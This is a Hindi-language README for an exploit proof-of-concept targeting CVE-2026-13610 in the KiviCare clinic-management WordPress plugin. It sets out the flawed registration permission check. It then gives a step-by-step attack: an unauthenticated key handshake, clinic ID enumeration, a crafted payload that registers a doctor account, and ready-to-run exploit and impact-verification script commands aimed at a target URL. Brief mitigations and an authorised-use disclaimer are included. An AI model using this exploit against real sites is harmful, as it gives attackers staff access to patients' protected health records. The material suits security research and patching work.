
KiviCare WordPress प्लगइन में अनुचित विशेषाधिकार प्रबंधन के माध्यम से बिना प्रमाणीकरण के डॉक्टर/रिसेप्शनिस्ट खाता निर्माण के लिए Exploit PoC, जो स्टाफ-स्तरीय PHI पहुंच प्रदान करता है।
CWE-269 (अनुचित विशेषाधिकार प्रबंधन) | हमलावर द्वारा चुनी गई स्टाफ भूमिका के साथ अप्रमाणित पंजीकरण → रोगी PHI का खुलासा
KiviCare – क्लिनिक और रोगी प्रबंधन प्रणाली WordPress प्लगइन (4.5.1 तक के संस्करण) में गंभीर भेद्यता जो अप्रमाणित हमलावरों को स्वयं-चुने गए पासवर्ड के साथ डॉक्टर (kiviCare_doctor) या रिसेप्शनिस्ट (kiviCare_receptionist) खाता पंजीकृत करने की अनुमति देती है, जो हमलावर की पसंद के क्लिनिक में मैप किया जाता है।
यह भेद्यता इसलिए मौजूद है क्योंकि सार्वजनिक पंजीकरण एंडपॉइंट user_role पैरामीटर को सीधे अनुरोध बॉडी से लेता है, और इसकी सत्यापन अनुमति-सूची में क्लिनिक स्टाफ भूमिकाएँ शामिल हैं:
पंजीकरण एंडपॉइंट POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) केवल
checkRegistrationPermission() (:602–650) द्वारा संरक्षित है,
जो:
users_can_register सक्षम होने पर तुरंत true लौटाता है (कोई प्रमाणीकरण जाँच नहीं)।KCOption::get() डिफ़ॉल्ट इंस्टॉल पर null लौटाता है।return true पर पहुँच जाता है।इसके बाद register() हैंडलर (:1277–1387) अनुरोध बॉडी से user_role पढ़ता है,
इसे KCDoctor / KCReceptionist मॉडल में मैप करता है, और
$model->save() को कॉल करता है — जो wp_insert_user() और
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) को बिना किसी
प्राधिकरण जाँच के चलाता है। परिणामी खाता सक्रिय होता है और हमलावर द्वारा चुने गए
क्लिनिक में मैप होता है।
प्लगइन की E2EE बॉडी एन्क्रिप्शन कोई बाधा नहीं है: हैंडशेक एंडपॉइंट
(server-key, config/register-key) अप्रमाणित हैं
(app/controllers/api/ConfigController.php:190–205), इसलिए कोई भी क्लाइंट
अतिथि कुंजी पर बातचीत कर सकता है और एन्क्रिप्टेड पेलोड भेज सकता है।
पूर्ण विवरण: analysis/TECHNICAL_ANALYSIS.md
1. हैंडशेक (एन्क्रिप्टेड लक्ष्य):
POST /wp-json/kivicare/v1/server-key -> सर्वर X25519 सार्वजनिक कुंजी
POST /wp-json/kivicare/v1/config/register-key -> अपनी सार्वजनिक कुंजी पंजीकृत करें
(हेडर x_kc_client_id: <कुछ भी>, बॉडी {"public_key": "<base64>"})
2. सत्यापन ओरेकल के माध्यम से एक मान्य क्लिनिक ID की गणना करें:
"Invalid clinic selected" -> क्लिनिक मौजूद नहीं है
"Username already exists" -> क्लिनिक मौजूद है
3. पेलोड को एन्क्रिप्ट करें और भेजें:
POST /wp-json/kivicare/v1/auth/register
बॉडी = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- भेद्य पैरामीटर
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> सक्रिय डॉक्टर खाता बनाया गया
5. wp-login.php या REST /auth/login के माध्यम से लॉगिन करें -> रोगी PHI तक स्टाफ पहुँच
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
स्क्रिप्ट परिवहन मोड (सादा JSON बनाम E2EE-एन्क्रिप्टेड) का स्वतः पता लगाती है
और --clinic प्रदान नहीं होने पर क्लिनिक ID की गणना करती है।
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
REST के माध्यम से लॉगिन करता है, खाते की E2EE प्रतिक्रिया कुंजी को पुनः बाँधता है,
फिर केवल-स्टाफ एंडपॉइंट (/patients, /appointments) को कॉल करता है।
--url लक्ष्य आधार URL (आवश्यक)
--username बनाने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: attacker<random>)
--email ईमेल (डिफ़ॉल्ट: <username>@evil.example)
--password पासवर्ड (डिफ़ॉल्ट: Poc!Passw0rd-2026)
--role kiviCare_doctor (डिफ़ॉल्ट) | kiviCare_receptionist | kiviCare_patient
--clinic क्लिनिक ID (छोड़े जाने पर स्वतः-गणना)
--mobile मोबाइल नंबर (डिफ़ॉल्ट: यादृच्छिक +1555...)
--first-name पहला नाम (डिफ़ॉल्ट: Dr)
--last-name अंतिम नाम (डिफ़ॉल्ट: Poc)
--gender लिंग (डिफ़ॉल्ट: male)
--no-verify निर्माण के बाद लॉगिन सत्यापन छोड़ें
सफल शोषण से एक सक्रिय स्टाफ खाता प्राप्त होता है जो एक वास्तविक क्लिनिक में मैप होता है, बिना किसी प्रमाणीकरण की आवश्यकता के:
wp-admin डैशबोर्ड पहुँच (read + upload_files) वाला एक मान्य WordPress खाता — आगे के हमलों के लिए एक आधारएंडपॉइंट WordPress administrator खाता बनाने की अनुमति नहीं देता
(user_role अनुमति-सूची इसे अस्वीकार करती है), लेकिन डॉक्टर भूमिका
पूर्ण नैदानिक-डेटा पहुँच के लिए पर्याप्त है।
patient_role_only पैरामीटर को लागू करेंcurrent_user_can('create_users') + nonce सत्यापन के पीछे
केवल-व्यवस्थापक एंडपॉइंट पर स्थानांतरित करेंcheckRegistrationPermission में डिफ़ॉल्ट रूप से अस्वीकार करें — फ़ॉलथ्रू
return true हटाएँrecaptchaToken आवश्यक करें (वर्तमान में वैकल्पिक)केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।
यह उपकरण सुरक्षा शोधकर्ताओं और पैठ परीक्षकों के लिए है जिनके पास लक्ष्य प्रणालियों का परीक्षण करने के लिए स्पष्ट लिखित प्राधिकरण है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। सभी सत्यापन लेखक के अपने प्रयोगशाला बुनियादी ढाँचे पर किए गए थे।
ghostpels — सुरक्षा अनुसंधान और शोषण विकास
यह परियोजना ghostpels सुरक्षा अनुसंधान लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।
| गेट | यह क्या करता है | परिणाम |
|---|
permission_callback | कोई is_user_logged_in() नहीं, कोई nonce नहीं, कोई क्षमता जाँच नहीं | पास; return true के साथ समाप्त होता है |
user_role अनुमति-सूची | kiviCare_doctor, kiviCare_receptionist, kiviCare_patient स्वीकार करता है | हमलावर स्टाफ भूमिका चुनता है |
patient_role_only पैरामीटर | डिफ़ॉल्ट yes के साथ घोषित | कभी नहीं पढ़ा जाता — मृत पैरामीटर |
| reCAPTCHA | केवल if (isset($params['recaptchaToken'])) पर मान्य किया जाता है | पैरामीटर को छोड़कर बाईपास किया जाता है |
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (अनुचित विशेषाधिकार प्रबंधन) |
| प्लगइन | KiviCare – क्लिनिक और रोगी प्रबंधन प्रणाली |
| प्रभावित | 4.5.1 तक के संस्करण |
| पैच किया गया | इस विश्लेषण के अनुसार पुष्टि नहीं हुई |
| प्रकार | स्टाफ भूमिका के साथ अप्रमाणित खाता निर्माण (विशेषाधिकार वृद्धि) |
| शोधकर्ता | Sai Praneeth Koti |
| प्रकाशित | 2026 |